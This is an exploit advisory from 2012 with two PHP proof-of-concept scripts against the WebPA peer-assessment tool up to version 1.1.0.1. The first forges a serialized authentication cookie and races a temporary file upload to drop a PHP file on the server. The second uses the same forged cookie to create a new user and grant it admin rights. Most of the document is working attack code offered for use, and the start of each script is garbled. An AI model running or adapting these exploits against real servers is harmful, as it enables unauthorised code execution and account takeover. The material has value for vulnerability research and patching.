:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-08-23 ] ################################################## # [ WebPA <= 1.1.0.1 ] Multiple Vulnerabilities # ################################################## # # Script: "WebPA is an open source online peer assessment tool that enables # every team member to recognise individual contributions to group work." # # Vendor: http://www.webpaproject.com/ # Download: http://sourceforge.net/projects/webpa/files/webpa/ # Exploits were tested on: # Windows (Apache 2.2.17 + php 5.2.17) # Linux Centos (Apache 2.2.3 (CentOS) + php 5.2.17) # ################################################## # [ Arbitrary File Upload ] # PoC exploit Code: fail'); fputs($fp, $headers); return $fp; } function http_recv($fp) { $ret=""; while (!feof($fp)) $ret.= fgets($fp, 1024); fclose($fp); return $ret; } print "\n# WebPA v1.1.0.1 Arbitrary File Upload #\n"; print "# Discovered by dun \ posdub[at]gmail.com #\n\n"; if ($argc < 3) { print "Usage: php $argv[0] \n"; print "Example: php $argv[0] localhost /WebPA/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $tmp = 'tmp/'; $temp_prefix='temp_'; $up_file='phpinfo.php'; $i=0; // preparing cookie for authentication bypass $cookie = base64_encode((time()*2).'|'.(time()*2).'|'.serialize(array('user_id'=> '1', 'admin'=> '1'))); // preparing POST data to perform the maximum delay before deleting temporary php file $payload = "-----------------------------187161971819895\r\n"; $payload .= "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"%s\"\r\n"; $payload .= "Content-Type: text/plain\r\n\r\n"; $payload .= "'); ?>!".str_repeat("A",40)."\r\n"; // making max lag, before unlink $payload .= str_repeat(str_repeat("A!",1)."!".str_repeat("A!",4)."\r\n",1000)."\r\n"; $payload .= "-----------------------------187161971819895\r\n"; $payload .= "Content-Disposition: form-data; name=\"rdoFileContentType\"\r\n\r\n"; $payload .= "2\r\n"; $payload .= "-----------------------------187161971819895\r\n"; $payload .= "Content-Disposition: form-data; name=\"rdoFileSeperator\"\r\n\r\n"; $payload .= "!\r\n"; $payload .= "-----------------------------187161971819895--\r\n"; $headers = "POST {$path}{$tmp}readfile.php HTTP/1.1\r\n"; $headers .= "Host: {$host}\r\n"; $headers .= "Connection: close\r\n"; $headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n"; $headers .= "Content-Type: multipart/form-data; boundary=---------------------------187161971819895\r\n"; $headers .= "Content-Length: ".strlen($payload)."\r\n\r\n"; $headers .= sprintf($payload, $temp_prefix.$up_file, $up_file); fclose(http_send($host, 80, $headers)); $headers = "GET {$path}{$tmp}%s HTTP/1.0\r\n"; $headers .= "Host: {$host}\r\n"; $headers .= "Connection: close\r\n\r\n"; while(++$i<1000) { $res=http_recv(http_send($host, 80, sprintf($headers, $temp_prefix.$up_file))); if(!preg_match('/404 Not Found/',$res)) { $res=http_recv(http_send($host, 80, sprintf($headers, $up_file))); if(preg_match('/200 OK/',$res)) print "Success!\n\nUploaded file: http://{$host}{$path}{$tmp}{$up_file}\n"; break; } } if($i==1000) print "Failed.\n"; ?> # ################################################## # [ Arbitrary Add Admin ] # PoC exploit Code: fail'); fputs($fp, $headers); return $fp; } function http_recv($fp) { $ret=""; while (!feof($fp)) $ret.= fgets($fp, 1024); fclose($fp); return $ret; } print "\n# WebPA v1.1.0.1 Arbitrary Add Admin Exploit #\n"; print "# Discovered by dun \ posdub[at]gmail.com #\n\n"; if ($argc < 5) { print "Usage: php $argv[0] username password\n"; print "Example: php $argv[0] localhost /WebPA/ foo bar\n"; die(); } $host = $argv[1]; $path = $argv[2]; $newuser = $argv[3]; $newpass = $argv[4]; $cookie = base64_encode((time()*2).'|'.(time()*2).'|'.serialize(array( 'user_id'=> '1', 'admin'=> '1' ))); print "Adding a new user [ {$newuser} : {$newpass} ]\n"; $payload = "-----------------------------187161971819895\r\n"; $payload .= "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"user.csv\"\r\n"; $payload .= "Content-Type: text/csv\r\n\r\n"; $payload .= "institutional_reference,forename,lastname,email,username,module_code,department_id,course_id,password\r\n"; $payload .= "1,2,3,4,{$newuser},6,7,8,{$newpass}\r\n\r\n"; $payload .= "-----------------------------187161971819895\r\n"; $payload .= "Content-Disposition: form-data; name=\"rdoFileContentType\"\r\n\r\n"; $payload .= "2\r\n"; $payload .= "-----------------------------187161971819895--\r\n"; $headers = "POST {$path}admin/load/simple.php HTTP/1.1\r\n"; $headers .= "Host: {$host}\r\n"; $headers .= "Connection: close\r\n"; $headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n"; $headers .= "Content-Type: multipart/form-data; boundary=---------------------------187161971819895\r\n"; $headers .= "Content-Length: ".strlen($payload)."\r\n\r\n"; $headers .= ($payload); fclose(http_send($host, 80, $headers)); sleep(2); print "Granting admin privileges for user [ {$newuser} ]\n"; $headers = "GET {$path}admin/review/staff/index.php HTTP/1.0\r\n"; $headers .= "Host: {$host}\r\n"; $headers .= "Connection: close\r\n"; $headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n\r\n"; preg_match_all('/php\?u=(\d+)/',http_recv(http_send($host, 80, $headers)) , $matches); if(!is_numeric(max($matches[1]))) die('Failed.'); sleep(2); $payload = "rdo_type=staff&name=1&surname=2&email=3&password={$newpass}&chk_admin=on&save=".urlencode('Save Changes'); $headers = "POST {$path}admin/edit/index.php?u=".max($matches[1])." HTTP/1.0\r\n"; $headers .= "Host: {$host}\r\n"; $headers .= "Connection: close\r\n"; $headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($payload)."\r\n\r\n"; $headers .= ($payload); fclose(http_send($host, 80, $headers)); print "Success!\n\n"; print "http://{$host}{$path}login.php\n"; print "user: {$newuser}\n"; print "pass: {$newpass}\n"; ?> # ### [ dun / 2012 ] ###############################